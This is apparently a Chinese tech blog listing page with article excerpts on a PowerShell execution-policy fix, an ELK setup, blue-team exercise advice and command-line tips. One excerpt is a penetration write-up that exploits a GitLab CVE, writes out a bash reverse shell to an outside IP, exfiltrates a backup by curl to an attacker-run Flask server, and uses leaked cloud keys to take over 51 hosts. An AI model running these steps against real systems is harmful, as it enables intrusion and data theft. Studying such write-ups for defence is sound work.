• vscode执行pnpm : 无法加载文件 pnpm.ps1,因为在此系统上禁止运行脚本解决办法

    文章目录   问题原因 解决办法 在vscode上运行pnpm install时提示:pnpm : 无法加载文件 D:\install\nvm\nodejs\pnpm.ps1,因为在此系统上禁止运行脚本,这个问题该如何解决呢? 问题原因 产生该问题的原因就是因为Power Shell的执行策略限制了脚本的执行。我们可以通过如下指令查看当前Power Shell的执行策略: Get-ExecutionPolicy 我们发现是Restricted默认策略,那这些策略什么意思呢? Restricted:默认策略,禁止运行任何脚本,除非明确允许。 AllSigned:只允许运行经由数字签名并由受信任的发布者签名的脚本。 RemoteSigned:允许运行未经签名的脚本,但是必须由受信任的发布者在本地计算机上签名。 Unrestricted:允许运行所有脚本。 解决办法 解决办法很简单,如果你是Restricted默认策略,那执行以下指令改为Unrestricted策略即可: Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process 如果你是 AllSigned 或 RemoteSigned策略,执行以下指令改为Unrestricted策略: Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process -Force 最后再去执行pnpm install发现就可以正常执行指令了,就是这么简单。 ...

    2024-04-09 技术教程 51
  • CentOS7搭建SpringBoot项目整合ELK环境详解

    文章目录 前言 1、ELK概述 2、环境&版本 3、Elasticsearch 3.1、下载Elasticsearch 3.2、安装Elasticsearch 3.3、配置Elasticsearch 3.4、启动Elasticsearch 4、Logstash 4.1、下载Logstash 4.2、安装Logstash 4.3、配置Logstash 4.4、启动Logstash 5、Kibana 5.1、下载Kibana 5.2、安装Kibana 5.3、配置Kibana 5.4、启动Kibana 6、SpringBoot集成ELK 6.1、添加依赖 6.2、修改Logback配置 6.3、启动SpringBoot项目 6.4、在Kibana中查看日志 总结 前言 本文详细介绍了在CentOS 7操作系统上搭建ELK以及在SpringBoot项目中整合ELK的步骤。以下内容来自掘金用户汪小成。 1、ELK概述 ELK代表Elasticsearch、Logstash和Kibana三个开源项目的首字母缩写。这三个项目共同构成了一个成熟且强大的实时日志集中处理方案。在这个方案中,Logstash用于日志收集,Elasticsearch则用于数据存储和索引,而Kibana则提供了一个直观的可视化界面,用于查看存储在Elasticsearch中的日志数据。 2、环境&版本 服务器系统版本、JDK版本、ELK版本信息如下: 环境 版本 端口号 Centos 7.9   JDK 1.8   Elasticsearch 7.2.1 39100 Logstash 7.2.1 39102 Kibana 7.2.1 39101 Elasticsearch、Logstash和Kibana三个开源项目都需要在Java环境下运行,所以需要提前在服务器上安装JDK。 centos的环境搭建的JDK1.8。本文中没有讲述JDK的安装,有需要的朋友可以参考《Centos7 安装JDK1.8》文章。 3、Elasticsearch 3.1、下载Elasticsearch $ wget –c https://mirrors.huaweicloud.com/elasticsearch/7.2.1/elasticsearch-7.2.1-x86_64.rpm 为了更快的下载速度,我选择在华为开源镜像站下载Elasticsearch。 3.2、安装Elasticsearch $ rpm -ivh elasticsearch-7.2.1-x86_64.rpm 3.3、配置Elasticsearch Elasticsearch配置文件位置:/etc/elasticsearch。 进入配置文件所在文件夹: $ cd /etc/elasticsearch 备份配置文件(非必要): $ cp elasticsearch.yml elasticsearch.backup.yml 使用vim打开elasticsearch.yml配置文件,按下i进入编辑模式。修改内容如下: network.host: 0.0.0.0 http.port: 39100 discovery.seed_hosts: ["127.0.0.1:39100"] 配置项说明: network.host用于设置绑定的主机地址,可以是IP地址或主机名。http.port用于设置监听的HTTP端口,出于一些特殊原因,我将elasticsearch的端口号由默认的9200修改为39100。discovery.seed_hosts用于设置集群节点的种子主机地址,用于节点发现和加入集群。 3.4、启动Elasticsearch # 启动Elasticsearch $ sudo systemctl start elasticsearch 将Elasticsearch设置为开机启动(非必要): # 将Elasticsearch设置为开机自启 $ sudo systemctl enable elasticsearch 查看Elasticsearch的运行状态: $ sudo systemctl status elasticsearch 或者,使用如下命令检查Elasticsearch是否启动成功: # 检查Elasticsearch是否启动成功 $ netstat -antp | grep 39100 待Elasticsearch启动成功后,可以使用curl命令来测试Elasticsearch是否正常运行。例如: $ curl http://127.0.0.1:39100 如果返回类似以下内容,说明Elasticsearch已经成功运行: { "name" : "localhost.localdomain", "cluster_name" : "elasticsearch", "cluster_uuid" : "NqlpN5iJQmeSV_TvHqPo6w", "version" : {   "number" : "7.2.1",   "build_flavor" : "default",   "build_type" : "rpm",   "build_hash" : "fe6cb20",   "build_date" : "2019-07-24T17:58:29.979462Z",   "build_snapshot" : false,   "lucene_version" : "8.0.0",   "minimum_wire_compatibility_version" : "6.8.0",   "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" } 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39100/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 4、Logstash 4.1、下载Logstash 在华为开源镜像站下载Logstash: $ wget –c https://repo.huaweicloud.com/logstash/7.2.1/logstash-7.2.1.rpm 4.2、安装Logstash $ rpm -ivh logstash-7.2.1.rpm 4.3、配置Logstash 在/etc/logstash/conf.d文件夹下创建logstash.conf配置文件,配置文件内容如下: input {   tcp {       host => "0.0.0.0"       port => 39102       mode => "server"       codec => json_lines   } } output {   elasticsearch {       hosts => "localhost:39100"       index => "%{[appname]}-%{+YYYY.MM.dd}"   } } 配置说明: input – 用于定义数据的输入源,即Logstash的数据来源。 tcp – 用于指定Logstash监听指定的IP和端口,接收 TCP 连接传入的数据。 host – 监听的主机IP地址,这里的0.0.0.0表示监听所有可用的网络接口。 port – 监听的端口号。我这里将端口号由默认的9600改为了39102。 mode – 连接模式。 codec – 数据编码解码方式,json_lines表示接收到的数据将以JSON行的形式解析。 output – 用于定义数据的输出目录。 elasticsearch – 表示将数据输出到Elasticsearch集群。 hosts – 用于设置Elasticsearch集群的主机地址和端口号。 index – 用于指定Elasticsearch索引的名称。这里使用 %{[appname]} 表示索引名称从数据中的appname字段获取。%{+YYYY.MM.dd}表示在索引中包含日期信息。 4.4、启动Logstash $ sudo systemctl start logstash 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39102/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 5、Kibana 5.1、下载Kibana $ wget –c https://repo.huaweicloud.com/kibana/7.2.1/kibana-7.2.1-x86_64.rpm 5.2、安装Kibana $ rpm -ivh kibana-7.2.1-x86_64.rpm 5.3、配置Kibana 进入/etc/kibana文件夹,修改kibana.yml配置文件中如下内容: server.port: 39101 server.host: "0.0.0.0" elasticsearch.hosts: ["http://localhost:39100"] i18n.locale: "zh-CN" 配置说明: server.port – 用于指定Kibana服务监听的端口号,这里我将端口号由默认的5601改成了39101。 server.host – 用于指定Kibana服务监听的主机地址。”0.0.0.0″表示监听所有可用的网络接口,即可以从任意IP地址访问Kibana。 elasticsearch.hosts – 用于设置Elasticsearch集群的主机地址和端口号。 i18n.locale – 用于设置界面语言,这里将界面语言设置成了中文。 5.4、启动Kibana $ sudo systemctl start kibana 最后,使用如下命令修改Centos防火墙配置开放端口号供外访问: $ sudo firewall-cmd --zone=public --add-port=39101/tcp --permanent 重新加载防火墙规则以使更改生效: $ sudo firewall-cmd --reload 6、SpringBoot集成ELK Spring Boot应用输出日志到ELK的大体流程如下图所示:说明: Spring Boot应用产生日志数据,使用Logback日志框架记录日志。 Logstash作为日志收集器,接收Spring Boot应用发送的日志数据。 Logstash解析和过滤日志数据,可能会对其进行格式化和处理。处理后的日志数据被发送到Elasticsearch,Elasticsearch将日志数据存储在分布式索引中。 Kibana连接到Elasticsearch,可以查看存储在Elasticsearch中的日志数据。 6.1、添加依赖 修改pom.xml文件,添加如下配置: dependency>    groupId>net.logstash.logbackgroupId>    artifactId>logstash-logback-encoderartifactId>    version>7.2version> dependency> 6.2、修改Logback配置 修改Logback的配置文件: + +   +   60.211.159.140:39102 +   +   +       +       {"appname":"spring-boot-elk"} +   +   +     6.3、启动SpringBoot项目 这一步,我就不废话了。 6.4、在Kibana中查看日志 1、在浏览器地址样中输入服务器IP+Kibana端口号 –> 点击管理 –> 点击索引模式 –> 点击创建索引模式。2、输入索引模式名称 –> 点击下一步。3、设置时间筛选字段名称,我这里没有使用时间筛选。4、点击Discover图标就可以看到Spring Boot项目输出的日志了。 总结 以上就是作者分享的CentOS7搭建Spring Boot项目整合ELK环境全部内容详解,希望对你有帮助! ...

    2023-08-21 153
  • 攻防演练之给蓝队防守方的11个忠告

    一、攻防演练概述 自2016年开展首届HW行动以来,越来越多的企业、单位加入到HW行动中来,网络攻防演练越来越贴近实际情况,越来越考验其实际安全能力。HW行动对于我国网络安全行业发展有着巨大的促进作用。假若没有HW行动,大多数企业的安全防护体系建设还停留在预算审批阶段,在没有出现大的安全事件和触碰合规红线之前,企业对于安全方面的投入极为克制。HW失败,一年白干,这虽然是业界的一个段子,但是某些时候还是很有道理的。对于所有网络安全人员来说,这是一次年度大考,攻防演练的成败直接决定了他们本年度的绩效。对于提供驻场服务的安全厂商来说同样十分关键,第二年的攻防演练订单能不能续上就看今年驻场人员的表现。 由于HW行动的所有参与单位,最终根据其所获得的分数进行排名,随意排名靠后的单位就会非常被动。虽然不会面临直接处罚,但是会直接影响其评优等多项工作,重要性毋庸置疑。例如2022年,业界疯传某个金融单位因为在网络攻防演练中表现过于糟糕(系统被打穿),直接导致该单位二把手被撤职,下边安全人员和厂商驻场人员都讨不了好。 在攻防演练中,攻守双方分别是红队和蓝队,红队大多数都是由“国家队”、厂商渗透技术人员组成,其中“国家队”的占比大概是60%左右,负责对目标单位发起实战式网络攻击,以此检验其防护体系的实际安全能力。而蓝队基本基本是由企业/单位安全人员、厂商驻场安全服务人员组成,他们不仅要对抗红队持续发起的各种网络攻击,还要在溯源中固定证据,反制红队人员。 二、给蓝队防守方的11个忠告 1、运气第一,实力第二(手动狗头保命) 哪怕实力不强,运气好没被打破,轻轻松松取得令人羡慕的成绩;运气差,哪怕实力再强也有可能因为一个小错误而崩盘。有时候运气这种东西真的没办法吐槽,大家尽力就好。 2、攻防演练再怎么重视也不为过 攻防演练是检验安全体系建设有效性的关键指标之一,就像前文说的“这是一次安全人员的大考”,因此在攻防演练考试之前安全部门需充分向上管理,强调“攻防演练”的重要性,借此尽可能多申请资源,包括应急演练大屏、防守方专用电脑、部署监控视频等。 不论是驻场人员还是内部福利,有多少搞多少,这样才能更好滴提振士气;同时也要做好向下管理,提前给安全人员打好预防针,使得内部在行动指挥上形成统一。据说2023年HW行动刚刚开始,四川某运营商就已经被打穿,这一消息在网安圈内疯狂传播,不论是出于舆情考虑还是站在攻防演练的重要性上(ZZRW),该运营商的领导层都处于一个十分被动的位置,对于安全人员来说也是一个非常糟糕的消息。 3、神队友还是猪队友决定了攻防演练的成败 对于大多数公司/单位来说,蓝队防守方仅仅依靠公司内部安全人员是万万不行的(类似于电信行业大佬不在统计中),所以必须要找外援。说的再直白一点,攻防演练和篮球足球比赛差不多,在某些时候外援才是决定胜负的关键。如果遇上厉害的大佬,直接躺着就把分拿了。 至于怎么找到靠谱的白帽渗透人员,除了已有的资源外平时可以多参加一些相关会议,积累一些人脉。还有个不太文明的方法,如果有心仪的白帽可以将压力给到合作的厂商,利用他们的白帽资源来完成招募的目标。 不论是新队伍还是老队伍,面试环节都需要严肃对待,防止滥竽充数的混子影响战斗力,包括对人员进行技术能力、背景等方面的审核,确定防守方负责人并构建防守方组织架构,与第三方人员签署保密协 议,向防守人员宣贯防守规则及演练相关要求。 4、能不能写好技战法也是一大关键 一篇合格的技战法可以起到锦上添花的作用,让我们的成绩更加明显,也能让错误变的不那么明显,简单来说就是多得分,少掉分。自2016年开展HW行动以来,攻防演练双方的专业水平已经逐渐提升,防守方越来越多地通过设备联动、纵深防御、应急响应、溯源反制来抵挡攻击方专业的网络攻击。因此防守方技战法撰写的四大核心点分别是设备(体系)联动、纵深防御、应急响应、溯源反制。这四大核心点又可以进一步拆分成多个小点,围绕其中某一个点写深写透,凸显我方在攻防演练中的努力与成绩。 5、资产盘点是攻防演练前的准备 大多教情况下,蓝队对于自己的资产情况把控不够,导致部分资产未能纳入有效监测、防护范围,这就成为了防护体系中的暴露面。红队在发起进攻前,会先收集这些薄弱点,并以此为跳板攻入企业关键系统。 资产是安全运营的基础支撑能力,合格的安全管理是建立在对于资产全面且精准掌握的基础之上,动态、周期性的资产监测以及及时的变更预警是非常必要的,保持对于资产部署分析、业务属性及应用上下游关系等清晰的认知,才能够将企业在互联网的暴漏面进行持续收敛。 公网资产评估:通过收集企业暴露在公网的资产信息和敏感信息,分析存在的未知公网资产、以及业务系统源码、账号密码暴露等安全风险,协助企业在攻击者发起信息收集前收敛外部攻击面,提升企业对自身资产的掌握程度以及应对突发安全事件的能力。 内网资产评估:从内网安全维度对主机安全产品核心功能模块的检测结果进行详细分析,从而发现操作系统、业务系统存在的风险隐患为客户解读并持续跟进风险整改期间各类技术问题,协助企业提升操作系统、业务系统本身的健壮性,进而提高内网横向攻击门槛。 6、溯源与反制是防守方的得分神器 由于攻守双方天然处于不对等地位,因此在攻防演练中防守方如果能够通过主动式欺骗措施(例如高级蜜罐)来诱敌深入,收集信息并固定证据,最终对攻击方进行有效杀伤,将会获得非常多的加分。 溯源反制比较关键的是有效还原攻击链: 攻击者是通过“哪个系统”+“哪个漏洞”打进来的,确认攻击IP有哪些。 攻击者打到内网后做了什么操作,例如“流量代理”+“内网穿透”。 最后总结哪些互联网和内网系统被拿下了,并且通过安全流量设备等方式证明攻击者的攻击动作。 在溯源反制中,攻击源捕获是至关重要的步骤,在网络攻击发生时防守方需要通过各种方法获取攻击者的信息,比如说攻击者开始攻击的时间、攻击的手法、利用的漏洞、入口点是什么、有没有在服务器里留下后门、攻击者的IP地址是什么,被攻击的主机有哪些等。 7、布置好蜜罐 蜜罐是溯源与反制中最关键的技术。在攻防演练中,攻击者常利用的突破口多为对外开放的站点、服务上存在的漏洞、未经严格控制而开放的测试站点等。防守方应当提前分析自身网络特性,找到攻击者最可能“光顾”的区域,加强防护的同时,在相应区域内的关键信息节点部署蜜罐,使攻击者在信息收集阶段受到干扰,进而诱导攻击者对蜜罐发动攻击。 另外,目前不少蜜罐都能够监控和记录攻击者进入蜜罐后的所有动作进行,Web类的蜜罐还可识别和记录攻击者使用的攻击方法和攻击载荷,可作为判断攻击者意图的重要依据。防守方将由蜜罐收集的信息汇总至欺骗伪装平台,由平台进行统一分析,根据攻击者的攻击意图战略调整监控防御节点,做到因“敌“制宜。 最后还可以化被动为主动,充分使用主动诱捕战术。主动诱捕主要作用于演练活动启动前2-3天内,此时攻击方正广泛收集目标资产信息,防守方的目标是污染攻击方掌握的资产情报,并诱导攻击者优先访问伪装探针节点。 8、十二分防范钓鱼邮件 随着攻防演练变的越来越规范,除了使用0Day漏洞等大杀器外,攻击方其实很难对防守方的防护体系进行有效突破。这时候攻击方最常用的打点方式就是网络钓鱼攻击。 一般来说,一个制作精良的钓鱼邮件基本都有以下特征。首先是绕过防火墙等查杀手段,目前有多种免杀技术可供攻击方选择,例如使用分离加载的方法,通过C++编写的加载器,并使用MSF作为C2很容易制作一封免杀的钓鱼邮件。 其次,钓鱼邮件都有极强的针对性,里面包含了大量的社会工程学,是对目标用户发起针对性钓鱼,中招的概率并不低。2020年某集团企业副总就曾被钓鱼,直接导致攻防演练被打穿,该副总也因此被开除。因此,在攻防演练期间,企业所有员工必须高度重视钓鱼邮件,提高警惕性,不乱点击附件、网址等,一旦发现可疑邮件立即向安全部门报告。 最后,防守方成员也是攻击方钓鱼的重点目标。这几天各种0Day漏洞的消息满天飞,不少攻击队趁机利用这些漏洞进行钓鱼,大家切勿上当受骗。 9、安全意识培训很有必要 第8条提到钓鱼邮件,那么就不得不提及安全意识培训,尤其是在攻防演练期间很有必要对全员进行安全意识强化培训。以上文提及的钓鱼邮件为例,安全部门可列举常见的钓鱼邮件,深入分析其各项特征。这里分享一个方法,即在攻防演练之前预先发起一次钓鱼邮件攻击测试,对于中招的员工进行专门的培训,提高其安全意识。 钓鱼邮件只是其中之一,还有诸如弱口令、随意连WiFi、随意插U盘都会带来相应的安全问题,企业若能打出一套漂亮的安全意识提升组合拳,定可以大大减少因此带来的安全风险。因此在培训方面也要下一些功夫,这里建议安全部门可以联合行政、人事或市场人员共同参与,制作高质量的安全意识培训内容,而不是像上课一样照本宣科。在进行安全意识培训时可重点关注四大要素:游戏化、个性化、多样性和高质量内容,力争培训内容新颖有意思,千万不能为了培训而培训。 10、加大近源攻击防备力度 这两年近源攻击开始越来越流行,并且被认为是突破企业安全防线的有力突击技术。不同于通过有线网络进行安全性检测的传统方式,近源渗透测试是指测试人员靠近或位于测试目标建筑内部,利用各类无线通信技术、物理接口和智能设备进行渗透测试。近源渗透涉及到的测试对象非常多,包括WiFi、蓝牙、RFID、ZigBee、蜂窝、Ethernet等各类物联网通信技术,甚至包括智能设备的嵌入式安全。 分享部分近年来近源攻击中攻击队常用的工具,防守方可以有的放矢。 无线网卡:外接无线网卡主要是用来配合kali破解无线密码的,现在一般是通过抓握手包然后跑包来破解。还有其他的方式可以通过伪造SSID钓鱼等等。 WIFI 大菠萝:大菠萝不是吃的那个玩意,可以说是一个钓鱼WiFi。最新版本的大菠萝功能更强大,其实可以替代上面的外接无线网卡了。大菠萝可以捕获握手包并模仿目标AP,甚至可以完全模仿首选网络,从而实现中间人攻击。 EMP干扰器:当前电子设备和电路的工作频率不断提高,而工作电压却逐渐降低,因此对电磁脉冲(EMP)的敏感性和易损性也不断增加。同时,电子系统中的集成电路对电磁脉冲比较敏感,往往一个较大的电磁脉冲,就会使集成块产生误码、甚至电子元器件失效或烧毁等。 变色龙:变色龙主要有三种使用方法,第一种是随机化UID进行模糊测试、第二种是支持IC卡的仿真、第三种是存储多张虚拟化卡。 11、利用情报提升威胁感知能力 在攻防演练场景,威胁情报可以作用于防护的多个环节。威胁情报的作用多在于与所有防护产品融合带来的能力加成,它与检测阻断类产品如防火墙、IPS、WAF等联动可以提升检测准确率,与蜜罐类产品联动可有效助益对攻击者的溯源与反制,威胁情报的价值在于样本量及准确性,从更高维度的视角打通不同安全产品、不同防护阶段、不同防护位置信息交换的壁垒,掌握单点攻击全网可知的防守主动权。 如果企业缺乏相应的费用投入,那么在攻防演练期间也应掌握一些免费的威胁情报资源。斗象科技、微步在线等发力攻防演练的厂商,每年都会在攻防演练前发布一些列的漏洞合集,可供参考。例如斗象科技在7月底发布《2023攻防演练必修高危漏洞集合》,整合了近两年在攻防演练被红队利用最频繁且对企业危害较高的漏洞,包含了详细的漏洞基础信息、检测规则和修复方案,对于防守方来说有一定的参考价值。 三、总结 攻防的路径千千万万,于攻击方而言,一个路径上攻击失败,不代表整体攻击失败;一个路径上防守成功,也不代表整体防守成功。安全的木桶效应始终存在,只要有一条路径上的短板、脆弱点被攻击方利用,没能及时防守,可能就是全面的溃败。 1、大型机构/企业的总部的互联网边界越来越难攻陷。原因是通常总部边界的资产梳理清晰,暴露面控制得较好、高危漏洞修复及时,边界安全设备(VPN/SDP等)收缩办公业务,同时分析检测、蜜罐诱捕等能力建设齐全能快速发现攻击尝试 2、钓鱼(邮件、HR应聘等)成为重要手段,而且难以避免。安全中最脆弱的就是人,包括我们看到诈骗电话极难控制,就是因为人的脆弱性。多数情况下,钓鱼成功率,通常超过20%(100个邮件阅读者中,有20个人点击恶意附件)。在实际案例中,甚至能高达70% 3、通过泄漏/暴破账号登录业务系统,再分析登录后的业务系统漏洞,成功率高,成为惯用手段。受限于各业务系统的普遍性安全开发水平,多数业务的登录后业务接口,发现漏洞并不困难,文件上传、SQL注入等。 4、分子公司/供应商成为关键脆弱点,迂回攻击成功率大幅提升。分子公司、供应商的安全建设参差不齐,容易被发现脆弱点,从而迂回突破到总部。不少非总部单元,有n-day高危漏洞补丁没有打全,被攻击者轻易突破也是时有发生的事情。 5、0day/1day成为关键致胜手段。由于演练时间有限,所以积累、挖掘0day,并在演练期间通过0day/1day进行快速突破,成为关键致胜手段。 本文作者:爱吃炸鸡, 转载请注明来自FreeBuf.COM ...

    2023-08-17 185
  • 记一次HC中因为JS拿下整个云!

    0x00 前言 本次分享主要是分享一次HC中的思路,值得大家学习,服务器已经交给相关部门进行取证等也已经打包结A了 0x01 信息收集 首先给到一个资产是二维码,是一张sese图片里面带有约炮的app下载,扫码后得到如下结果 得到如下结果:https://www.target.com 后进行访问主站 注册成功后发现全是妹子(........),这个时候先别急,咱第一步先去看他调用的JS资源,随便点击一个资源然后刷新一下看他F12网络   这里首先我只能用当时留下的毫无关联的图片进行演示了,当时我看到的JS文件叫 "MyProfile"   </p> 0x02 JS断点调试 这个凭借个人感觉就是个关键信息(我的资料 - > 配置信息?),   所以凭借这些理由,我在XHR中锁定了"MyProfile"这个关键字进行JS断点 然后刷新进行调试,在漫长的调试过程中我发现在一个很奇怪的JS文件中调用了我的MyProfile字段,叫 /assets/index-xxxxxx.js   一般来说我就会去审计一下这个JS文件,结果发现好东西了   bindgen: "git+http://123.123.123.123:1111/target2/a.git#0.0.14"   0x03 新突破 我当时就立刻去访问了一下,发现竟然是一个gitlab!   </p> 找了一下历史漏洞,CVE-2021-22205 直接梭哈,成功拿到shell   </p> 由于是执行命令,所以写了shell反弹       echo 'bash -i >& /dev/tcp/123.123.123.123/1111 0>&1' > /tmp/haha.shchmod +x /tmp/haha.sh/bin/bash /tmp/haha.sh 成功反弹shell   </p> 发现是ubunto的16.04,但是本地提权失败,找了SUID也没有办法,想尽了各种办法都没办法提权,打算放弃了。 所以接下来就是去寻找Git权限能做的操作,找了一个下午,最终找到了backups目录里下找到了一个backup的tar包,应该八成就是gitlab上的备份了。   </p>   Flask之取文件 但是问题来了,我怎么做到在我反弹shell中把文件拖出来了呢?scp等都试过了不行,于是乎我就写了个flask的上传页面让shell去curl一下把文件post上来(感觉这思路骚的)   </p> 我的服务器                                     from flask import Flask,requestimport os app = Flask(__name__) @app.route('/upload',methods=['POST'])def upload_file(): file = request.files.get('file') if file : filename = file.filename file.save(os.path.join(os.getcwd(),filename)) return f"File {filename} saved successfully" else: return "worry" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5000) 受控主机shell   curl -X POST http://123.123.123.123:1111/upload -F file=@./a.gitlab_backup.tar   0x04 云沦陷(泄露AK SK) 几个G,下载漫长的很呢!然后拖到本地后应该就是gitlab的备份了,(因为他备份文件名字中带有gitlab的版本号)要用到对应的gitlab的相应版本去搭建。 然后本地搭建导入备份后慢慢的寻找一些有用信息,后面突然发现一个叫application.yaml的文件,进行审计后泄露了ak和sk(这开发倒是备份挺明白的,全部都写清清楚楚)。 这个时候行云管家一把梭哈,因为权限很大,接管整个云了,总共是51台主机都拿下了。   </p> 0x05 总结 思路就是 :打点 -> JS文件断点调试 ->新突破上shell-> 解决困难-> 发现新大陆(本地搭建)-> 接管云,最后全部打包好给了JF,也进行取证立A了,到此因为一个JS文件拿下整个云结束了,思路可以学习一波。   </p>     文章来源:先知社区(1201463046740633)原文地址:https://xz.aliyun.com/t/12698   ...

    2023-08-17 187
  • 如何在命令行上舒适地生存?

    有时我与一些害怕使用命令行的朋友交谈,我感到自己给不出好的建议(我已经使用命令行太长时间了),因此我向一些 Mastodon上的人提出了以下问题: 如果在过去一到三年内,你刚刚不再害怕使用命令行了,是什么帮助了你? (如果你不记得,或者你已经使用命令行舒适地工作了 15 年,则无需回答——这个问题不适用于你 ?) 这个列表还不如我希望的那么长,但我希望通过发布它来收集更多的答案。显然,并没有一个单一的方法适用于所有人,不同的人会选择不同的路径。 我认为舒适使用命令行有三个方面:减少风险、动机和资源。我将先谈谈减少风险,然后是一些动机,并列出一些资源。 减少风险的方式 很多人(没错!)对在命令行上意外执行了一些无法撤销的破坏性操作感到担心。 以下是一些人们提到的帮助他们减少风险的策略: 定期备份(有人提到他们在上周的一个命令行错误中意外删除了整个家目录,但很幸运他们有备份)。 对于代码,尽可能多地使用 git。 将 rm设置为类似safe-rm或rmtrash这样的工具的别名,这样你就不会意外删除不应删除的内容(或者就设置别名到rm -i)。 尽量避免使用通配符,使用制表符键补全代替(我的 Shell 会使用 TAB键补全rm *.txt并显示我将要删除的内容)。 使用精美的终端提示符,可以显示当前目录、计算机名称、git分支和你是否具有 root 权限。 如果你计划对文件运行未经测试或危险的命令,先备份文件副本。 拥有一台专用的测试机器(如便宜的旧 Linux 计算机或树莓派)进行特别危险的测试,例如测试备份软件或分区。 对于危险命令,如果有的话,使用 --dry-run选项来查看执行结果而不实际执行操作。 在你的 Shell 脚本中构建自己的 --dry-run选项。 这些策略有助于降低在命令行上引发不可逆操作的风险。 杀手级应用程序 一些人提到了一个“杀手级命令行应用程序”,这激励他们开始花更多时间在命令行上。例如: ripgrep jq wget / curl git(一些人发现他们更喜欢使用 git 命令行界面而不是使用图形界面) ffmpeg(用于视频处理) yt-dlp 硬盘数据恢复工具(来自 这个精彩的故事) 还有一些人提到他们对图形界面工具感到失望(例如使用了所有内存,并使计算机崩溃的重型集成开发环境),并因此有动机用更轻量级的命令行工具替代它们。 激发人们的命令行技巧 有人提到被其他人在命令行上展示的酷炫功能所激励,例如: 命令行工具可以比你的 Hadoop 集群快 235 倍 Gary Bernhardt 的这个“命令行链锯”演讲 explainshell 有几个人提到了 explainshell,它可以让你粘贴任何命令行指令,并将其分解成不同的部分解释。 命令历史、制表符补全等等 有很多小技巧和窍门可以使在命令行上工作更容易,例如: 使用向上箭头查看先前的命令 使用 Ctrl+R搜索你的 Bash 历史记录 使用快捷键在行内导航:Ctrl+w(删除一个单词)、Ctrl+a(跳转到行首)、Ctrl+e(跳转到行尾),以及Ctrl+left arrow/Ctrl+right arrow(向前/向后跳转一个单词) 将 Bash 历史记录设置为无限制 使用 cd -返回上一个目录 文件名和命令名的制表符自动补全 学习如何使用像 less这样的分页工具阅读手册页或其他大型文本文件(如搜索、滚动等) 在 macOS 上使用 pbcopy/pbpaste将剪贴板内容复制/粘贴到 stdout/stdin 在编辑配置文件之前备份它们 fzf 很多人提到使用 fzf作为模糊搜索 Shell 历史记录的更好方法。除了作为更好的模糊搜索 Shell 历史记录的工具,人们还提到了一些其他用途: 选择 git分支(git checkout $(git for-each-ref --format='%(refname:short)' refs/heads/ | fzf)) 快速查找要编辑的文件(nvim $(fzf)) 切换 Kubernetes 上下文(kubectl config use-context $(kubectl config get-contexts -o name | fzf --height=10 --prompt="Kubernetes Context> ")) 从测试套件中选择要运行的特定测试 一般的模式是使用 fzf来选择某个对象(文件、git分支、命令行参数),fzf将所选对象输出到标准输出,然后将其插入作为另一个命令的命令行参数。 你还可以将 fzf用作工具,自动预览输出并快速迭代,例如: 自动预览 jq的输出(echo '' | fzf --preview "jq {q} ) 自动预览 sed的输出(echo '' | fzf --preview "sed {q} YOURFILE") 自动预览 awk的输出(echo '' | fzf --preview "awk {q} YOURFILE") 你可以参考这个思路。 通常,人们会为 fzf的使用定义别名,比如输入gcb或其他命令,以快速选择要检出的git分支。 树莓派 一些人开始使用树莓派,这样可以更安全地进行实验,而不必担心损坏计算机(只需擦除 SD 卡然后重新开始即可!)。 漂亮的 Shell 环境 很多人说,当他们开始使用像 oh-my-zsh或Fish这样更用户友好的 Shell 环境时,他们在命令行上感到更舒适。我非常同意这一点 – 我已经使用 Fish 十年了,我非常喜欢它。 在这里还有一些其他的事情可以做: 有些人说,让他们的终端更漂亮可以帮助他们感到更舒适(“让它变成粉色!”)。 设置一个漂亮的 Shell 提示符来提供更多信息(例如,当命令失败时,可以将提示符设置为红色)。特别是 transient prompts(在当前命令设置一个非常花哨的提示符,但在之前的命令中设置一个简单得多的提示符)看起来非常好。 一些用于美化终端的工具: 我使用 base16-shell powerlevel10k是一个流行的漂亮的 Zsh 主题,具有 transient prompts starship是一个漂亮的提示符工具 在 Mac 上,我认为 iTerm2比默认的终端更容易自定义。 漂亮的文件管理器 一些人提到了像 ranger或nnn这样的漂亮的终端文件管理器,这是我之前没有听说过的。 一个有帮助的朋友或同事 一个可以回答初学者问题并给你指点的人是无价的。 通过肩并肩地观察学习 有人提到观察更有经验的人使用终端 – 有很多经验丰富的用户甚至没有意识到自己在做什么,你可以从中学到很多小技巧。 别名 很多人说,为常用任务创建自己的别名或脚本就像是一个神奇的“灵光一现”时刻,因为: 他们不必记住语法 然后他们就有了一份自己常用命令的列表,可以轻松调用 查找示例的备忘单 很多手册页没有示例,例如 openssl s_client的手册页就没有示例。这使得起步变得更加困难! 人们提到了一些备忘单工具,比如: tldr.sh cheat(还可以进行编辑 – 你可以添加自己的命令以供以后参考) um(一个非常精简的需要自己构建的系统) 例如,openssl 的备忘单非常棒 – 我认为它几乎包含了我在实际中使用openssl时用过的所有内容(除了openssl s_client的-servername选项)。 有人说他们配置了他们的 .bash_profile,这样每次登录时都会打印出一张备忘单。 不要试图背诵 一些人说他们需要改变自己的方法 – 他们意识到不需要试图记住所有的命令,只需按需查找命令,随着时间的推移,他们会自然而然地记住最常用的命令。 (我最近对学习阅读 x86 汇编有了完全相同的体会 – 我正在上一门课程,讲师说“是的,刚开始时可以每次都查找,最终你会记住最常见的指令。”) 还有一些人说相反的观点 – 他们使用间隔重复应用程序(如 Anki)来记忆常用的命令。 Vim 有人提到他们开始在命令行上使用 Vim 编辑文件,一旦他们开始使用终端文本编辑器,使用命令行处理其他事情也变得更自然。 此外,显然有一个名为 micro的新编辑器,像是更好的pico/nano,适用于那些不想学习 Emacs 或 Vim 的人。 桌面上使用 Linux 有人说他们开始使用 Linux 作为他们的日常主力系统,而需要修复 Linux 问题可以帮助他们学习。这也是我在大约 2004 年熟悉命令行的方式(我非常喜欢安装各种不同的 Linux 发行版,以找到我最喜欢的那个),但我猜这不是如今最受欢迎的策略。 被迫仅使用终端 